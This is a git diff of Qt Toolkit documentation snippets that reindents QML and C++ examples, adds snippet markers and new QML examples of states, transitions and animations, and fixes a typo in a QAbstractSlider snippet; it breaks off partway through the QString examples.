diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
index e3cbebb..18ea971 100644
--- a/doc/src/snippets/declarative/mousearea/mousearea.qml
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -46,74 +46,72 @@ Rectangle {
width: childrenRect.width
height: childrenRect.height
-Row {
+ Row {
+ //! [intro]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
-//! [intro]
-Rectangle {
- width: 100; height: 100
- color: "green"
-
- MouseArea {
- anchors.fill: parent
- onClicked: { parent.color = 'red' }
- }
-}
-//! [intro]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { parent.color = 'red' }
+ }
+ }
+ //! [intro]
-//! [intro-extended]
-Rectangle {
- width: 100; height: 100
- color: "green"
+ //! [intro-extended]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
- MouseArea {
- anchors.fill: parent
- acceptedButtons: Qt.LeftButton | Qt.RightButton
- onClicked: {
- if (mouse.button == Qt.RightButton)
- parent.color = 'blue';
- else
- parent.color = 'red';
+ MouseArea {
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onClicked: {
+ if (mouse.button == Qt.RightButton)
+ parent.color = 'blue';
+ else
+ parent.color = 'red';
+ }
+ }
}
- }
-}
-//! [intro-extended]
+ //! [intro-extended]
-//! [drag]
-Rectangle {
- id: container
- width: 600; height: 200
+ //! [drag]
+ Rectangle {
+ id: container
+ width: 600; height: 200
- Rectangle {
- id: rect
- width: 50; height: 50
- color: "red"
- opacity: (600.0 - rect.x) / 600
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+ opacity: (600.0 - rect.x) / 600
- MouseArea {
- anchors.fill: parent
- drag.target: rect
- drag.axis: Drag.XAxis
- drag.minimumX: 0
- drag.maximumX: container.width - rect.width
+ MouseArea {
+ anchors.fill: parent
+ drag.target: rect
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: container.width - rect.width
+ }
+ }
}
- }
-}
-//! [drag]
+ //! [drag]
-//! [mousebuttons]
-Text {
- text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
- horizontalAlignment: Text.AlignHCenter
- verticalAlignment: Text.AlignVCenter
-
- MouseArea {
- id: mouseArea
- anchors.fill: parent
- acceptedButtons: Qt.LeftButton | Qt.RightButton
- }
-}
-//! [mousebuttons]
+ //! [mousebuttons]
+ Text {
+ text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
-}
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ }
+ }
+ //! [mousebuttons]
+ }
}
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 0000000..374d89d
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="no"?>
+<svg width="10px" height="10px" viewBox="0 0 10px 10px"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink/"
+ baseProfile="tiny" version="1.2">
+ <title>Checker</title>
+ <desc>A checkerboard pattern to use as a background.</desc>
+ <g fill="#e0e0e0" stroke="none" >
+ <rect x="0" y="0" width="10px" height="10px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="0" y="0" width="5px" height="5px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="5px" y="5px" width="5px" height="5px" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
new file mode 100644
index 0000000..a60b1f4
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ //! [sequential]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAction { target: rect; property: "transformOrigin" }
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+ //! [sequential]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+}
diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
index dd21d14..f5ae798 100644
--- a/doc/src/snippets/declarative/propertyaction.qml
+++ b/doc/src/snippets/declarative/propertyaction.qml
@@ -41,45 +41,43 @@ import QtQuick 1.0
Row {
-//![transition]
-Item {
- width: 400; height: 400
+ //![transition]
+ Item {
+ width: 400; height: 400
- Rectangle {
- id: rect
- width: 200; height: 100
- color: "red"
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
- states: State {
- name: "rotated"
- PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
- }
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
- transitions: Transition {
- RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
- }
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
- MouseArea {
- anchors.fill: parent
- onClicked: rect.state = "rotated"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
}
}
-}
-//![transition]
+ //![transition]
-Item {
- width: 300; height: 300
+ Item {
+ width: 300; height: 300
- Image { id: img; source: "pics/qt.png" }
-
-//![standalone]
-SequentialAnimation {
- PropertyAction { target: img; property: "smooth"; value: "true" }
- NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
- PropertyAction { target: img; property: "smooth"; value: "false" }
-}
-//![standalone]
-}
+ Image { id: img; source: "pics/qt.png" }
+ //![standalone]
+ SequentialAnimation {
+ PropertyAction { target: img; property: "smooth"; value: "true" }
+ NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+ PropertyAction { target: img; property: "smooth"; value: "false" }
+ }
+ //![standalone]
+ }
}
-
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
index d0a009a..711feec 100644
--- a/doc/src/snippets/declarative/propertyanimation.qml
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -48,10 +48,12 @@ Rectangle {
width: 100; height: 100
color: "red"
+ //! [single state]
states: State {
name: "moved"
PropertyChanges { target: rect; x: 50 }
}
+ //! [single state]
transitions: Transition {
PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
@@ -83,18 +85,16 @@ Rectangle {
}
//![propertyvaluesource]
-//![standalone]
-Rectangle {
- id: theRect
- width: 100; height: 100
- color: "red"
-
- // this is a standalone animation, it's not running by default
- PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
-
- MouseArea { anchors.fill: parent; onClicked: animation.running = true }
-}
-//![standalone]
+ //![standalone]
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: "red"
+ // this is a standalone animation, it's not running by default
+ PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
+ MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+ }
+ //![standalone]
}
diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js
index cd67311..f55dee3 100644
--- a/doc/src/snippets/declarative/script.js
+++ b/doc/src/snippets/declarative/script.js
@@ -1 +1,4 @@
-# Just here so that workerscript.qml succeeds.
+WorkerScript.onMessage = function(message) {
+ // ... long-running operations and calculations are done here
+ WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
+}
diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml
new file mode 100644
index 0000000..b885137
--- /dev/null
+++ b/doc/src/snippets/declarative/states/statechangescript.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+Item {
+//! [state and transition]
+State {
+ name: "state1"
+ StateChangeScript {
+ name: "myScript"
+ script: doStateStuff();
+ }
+ // ...
+}
+// ...
+Transition {
+ to: "state1"
+ SequentialAnimation {
+ NumberAnimation { /* ... */ }
+ ScriptAction { scriptName: "myScript" }
+ NumberAnimation { /* ... */ }
+ }
+}
+//! [state and transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml
new file mode 100644
index 0000000..1e2ebca
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-from-to-modified.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ //! [modified transition]
+ transitions: Transition {
+ to: "brighter"
+ ColorAnimation { duration: 1000 }
+ }
+ //! [modified transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml
index 5fde653..ba07518 100644
--- a/doc/src/snippets/declarative/transition-from-to.qml
+++ b/doc/src/snippets/declarative/transition-from-to.qml
@@ -57,5 +57,3 @@ Rectangle {
}
}
//![0]
-
-
diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml
index c67fd80..6a6ef23 100644
--- a/doc/src/snippets/declarative/transition-reversible.qml
+++ b/doc/src/snippets/declarative/transition-reversible.qml
@@ -53,12 +53,14 @@ Rectangle {
PropertyChanges { target: rect; color: "yellow"; x: 50 }
}
+ //! [sequential animations]
transitions: Transition {
SequentialAnimation {
PropertyAnimation { property: "x"; duration: 1000 }
ColorAnimation { duration: 1000 }
}
}
+ //! [sequential animations]
}
//![0]
diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
new file mode 100644
index 0000000..cd413cc
--- /dev/null
+++ b/doc/src/snippets/declarative/transitions-list.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 150; height: 250
+
+ Rectangle {
+ id: stopLight
+ x: 25; y: 15; width: 100; height: 100
+ }
+ Rectangle {
+ id: goLight
+ x: 25; y: 135; width: 100; height: 100
+ }
+
+ states: [
+ State {
+ name: "stop"
+ PropertyChanges { target: stopLight; color: "red" }
+ PropertyChanges { target: goLight; color: "black" }
+ },
+ State {
+ name: "go"
+ PropertyChanges { target: stopLight; color: "black" }
+ PropertyChanges { target: goLight; color: "green" }
+ }
+ ]
+
+ state: "stop"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state == "stop" ?
+ parent.state = "go" : parent.state = "stop"
+ }
+
+ //! [list of transitions]
+ transitions: [
+ Transition {
+ from: "stop"; to: "go"
+ PropertyAnimation { target: stopLight
+ properties: "color"; duration: 1000 }
+ },
+ Transition {
+ from: "go"; to: "stop"
+ PropertyAnimation { target: goLight
+ properties: "color"; duration: 1000 }
+ } ]
+ //! [list of transitions]
+}
diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml
new file mode 100644
index 0000000..c1cef33
--- /dev/null
+++ b/doc/src/snippets/declarative/webview/webview.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtWebKit 1.0
+
+WebView {
+ url: "http://www.nokia.com"
+ preferredWidth: 490
+ preferredHeight: 400
+ scale: 0.5
+ smooth: false
+}
+//! [document]
diff --git a/doc/src/snippets/qabstractsliderisnippet.cpp b/doc/src/snippets/qabstractsliderisnippet.cpp
index 6b684e9..cb0f8cc 100644
--- a/doc/src/snippets/qabstractsliderisnippet.cpp
+++ b/doc/src/snippets/qabstractsliderisnippet.cpp
@@ -50,7 +50,7 @@ QAbstractSliderPrivate::~QAbstractSliderPrivate()
{
}
-oid QAbstractSlider::setRange(int min, int max)
+void QAbstractSlider::setRange(int min, int max)
{
Q_D(QAbstractSlider);
int oldMin = d->minimum;
diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp
index 9aac79d..bbc9e98 100644
--- a/doc/src/snippets/qstring/main.cpp
+++ b/doc/src/snippets/qstring/main.cpp
@@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent)
void Widget::constCharPointer()
{
-//! [0]
+ //! [0]
QString str = "Hello";
-//! [0]
+ //! [0]
}
void Widget::constCharArray()
{
-//! [1]
+ //! [1]
static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 };
QString str(data, 4);
-//! [1]
+ //! [1]
}
void Widget::characterReference()
{
-//! [2]
+ //! [2]
QString str;
str.resize(4);
@@ -149,46 +149,46 @@ void Widget::characterReference()
str[1] = QChar('n');
str[2] = QChar(0x10e3);
str[3] = QChar(0x03a3);
-//! [2]
+ //! [2]
}
void Widget::atFunction()
{
-//! [3]
+ //! [3]
QString str;
for (int i = 0; i < str.size(); ++i) {
if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f'))
qDebug() << "Found character in range [a-f]";
}
-//! [3]
+ //! [3]
}
void Widget::stringLiteral()
{
-//! [4]
+ //! [4]
QString str;
if (str == "auto" || str == "extern"
|| str == "static" || str == "register") {
// ...
}
-//! [4]
+ //! [4]
}
void Widget::modify()
{
-//! [5]
+ //! [5]
QString str = "and";
str.prepend("rock "); // str == "rock and"
str.append(" roll"); // str == "rock and roll"
str.replace(5, 3, "&"); // str == "rock & roll"
-//! [5]
+ //! [5]
}
void Widget::index()
{
-//! [6]
+ //! [6]
QString str = "We must be <b>bold</b>, very <b>bold</b>";
int j = 0;
@@ -196,25 +196,25 @@ void Widget::index()
qDebug() << "Found <b> tag at index position" << j;
++j;
}
-//! [6]
+ //! [6]
}
//! [7]
- QString Widget::boolToString(bool b)
- {
- QString result;
- if (b)
- result = "True";
- else
- result = "False";
- return result;
- }
+QString Widget::boolToString(bool b)
+{
+ QString result;
+ if (b)
+ result = "True";
+ else
+ result = "False";
+ return result;
+}
//! [7]
void Widget::nullVsEmpty()
{
-//! [8]
+ //! [8]
QString().isNull(); // returns true
QString().isEmpty(); // returns true
@@ -223,45 +223,45 @@ void Widget::nullVsEmpty()
QString("abc").isNull(); // returns false
QString("abc").isEmpty(); // returns false
-//! [8]
+ //! [8]
}
void Widget::appendFunction()
{
-//! [9]
+ //! [9]
QString x = "free";
QString y = "dom";
x.append(y);
// x == "freedom"
-//! [9]
+ //! [9]
-//! [10]
+ //! [10]
x.insert(x.size(), y);
-//! [10]
+ //! [10]
}
void Widget::argFunction()
{
-//! [11]
+ //! [11]
QString i; // current file's number
QString total; // number of files to process
QString fileName; // current file's name
QString status = QString("Processing file %1 of %2: %3")
.arg(i).arg(total).arg(fileName);
-//! [11]
+ //! [11]
-//! [12] //! [13]
+ //! [12] //! [13]
QString str;
-//! [12]
+ //! [12]
str = "%1 %2";
str.arg("%1f", "Hello"); // returns "%1f Hello"
str.arg("%1f").arg("Hello"); // returns "Hellof %2"
-//! [13]
+ //! [13]
-//! [14]
+ //! [14]
str = QString("Decimal 63 is %1 in hexadecimal")
.arg(63, 0, 16);
// str == "Decimal 63 is 3f in hexadecimal"
@@ -272,16 +272,16 @@ void Widget::argFunction()
.arg(12345)
.arg(12345, 0, 16);
// str == "12345 12,345 3039"
-//! [14]
+ //! [14]
}
void Widget::chopFunction()
{
-//! [15]
+ //! [15]
QString str("LOGOUT\r\n");
str.chop(2);
// str == "LOGOUT"
-//! [15]
+ //! [15]
}
void Widget::compareFunction()
@@ -293,251 +293,251 @@ void Widget::compareFunction()
void Widget::compareSensitiveFunction()
{
-//! [16]
+ //! [16]
int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0
int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0
int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0
-//! [16]
+ //! [16]
}
void Widget::containsFunction()
{
-//! [17]
+ //! [17]
QString str = "Peter Pan";
str.contains("peter", Qt::CaseInsensitive); // returns true
-//! [17]
+ //! [17]
}
void Widget::countFunction()
{
-//! [18]
+ //! [18]
QString str = "banana and panama";
str.count(QRegExp("a[nm]a")); // returns 4
-//! [18]
+ //! [18]
}
void Widget::dataFunction()
{
-//! [19]
+ //! [19]
QString str = "Hello world";
QChar *data = str.data();
while (!data->isNull()) {
qDebug() << data->unicode();
++data;
}
-//! [19]
+ //! [19]
}
void Widget::endsWithFunction()
{
-//! [20]
+ //! [20]
QString str = "Bananas";
str.endsWith("anas"); // returns true
str.endsWith("pple"); // returns false
-//! [20]
+ //! [20]
}
void Widget::fillFunction()
{
-//! [21]
+ //! [21]
QString str = "Berlin";
str.fill('z');
// str == "zzzzzz"
str.fill('A', 2);
// str == "AA"
-//! [21]
+ //! [21]
}
void Widget::fromRawDataFunction()
{
-//! [22]
- QRegExp pattern;
- static const QChar unicode[] = {
- 0x005A, 0x007F, 0x00A4, 0x0060,
- 0x1009, 0x0020, 0x0020};
- int size = sizeof(unicode) / sizeof(QChar);
+ //! [22]
+ QRegExp pattern;
+ static const QChar unicode[] = {
+ 0x005A, 0x007F, 0x00A4, 0x0060,
+ 0x1009, 0x0020, 0x0020};
+ int size = sizeof(unicode) / sizeof(QChar);
- QString str = QString::fromRawData(unicode, size);
- if (str.contains(QRegExp(pattern))) {
- // ...
-//! [22] //! [23]
- }
-//! [23]
+ QString str = QString::fromRawData(unicode, size);
+ if (str.contains(QRegExp(pattern))) {
+ // ...
+ //! [22] //! [23]
+ }
+ //! [23]
}
void Widget::indexOfFunction()
{
-//! [24]
+ //! [24]
QString x = "sticky question";
QString y = "sti";
x.indexOf(y); // returns 0
x.indexOf(y, 1); // returns 10
x.indexOf(y, 10); // returns 10
x.indexOf(y, 11); // returns -1
-//! [24]
+ //! [24]
}
void Widget::firstIndexOfFunction()
{
-//! [25]
+ //! [25]
QString str = "the minimum";
str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4
-//! [25]
+ //! [25]
}
void Widget::insertFunction()
{
-//! [26]
+ //! [26]
QString str = "Meal";
str.insert(1, QString("ontr"));
// str == "Montreal"
-//! [26]
+ //! [26]
}
void Widget::isEmptyFunction()
{
-//! [27]
+ //! [27]
QString().isEmpty(); // returns true
QString("").isEmpty(); // returns true
QString("x").isEmpty(); // returns false
QString("abc").isEmpty(); // returns false
-//! [27]
+ //! [27]
}
void Widget::isNullFunction()
{
-//! [28]
+ //! [28]
QString().isNull(); // returns true
QString("").isNull(); // returns false
QString("abc").isNull(); // returns false
-//! [28]
+ //! [28]
}
void Widget::lastIndexOfFunction()
{
-//! [29]
+ //! [29]
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y); // returns 6
x.lastIndexOf(y, 6); // returns 6
x.lastIndexOf(y, 5); // returns 2
x.lastIndexOf(y, 1); // returns -1
-//! [29]
+ //! [29]
-//! [30]
+ //! [30]
QString str = "the minimum";
str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8
-//! [30]
+ //! [30]
}
void Widget::leftFunction()
{
-//! [31]
+ //! [31]
QString x = "Pineapple";
QString y = x.left(4); // y == "Pine"
-//! [31]
+ //! [31]
}
void Widget::leftJustifiedFunction()
{
-//! [32]
+ //! [32]
QString s = "apple";
QString t = s.leftJustified(8, '.'); // t == "apple..."
-//! [32]
+ //! [32]
-//! [33]
+ //! [33]
QString str = "Pineapple";
str = str.leftJustified(5, '.', true); // str == "Pinea"
-//! [33]
+ //! [33]
}
void Widget::midFunction()
{
-//! [34]
+ //! [34]
QString x = "Nine pineapples";
QString y = x.mid(5, 4); // y == "pine"
QString z = x.mid(5); // z == "pineapples"
-//! [34]
+ //! [34]
}
void Widget::numberFunction()
{
-//! [35]
+ //! [35]
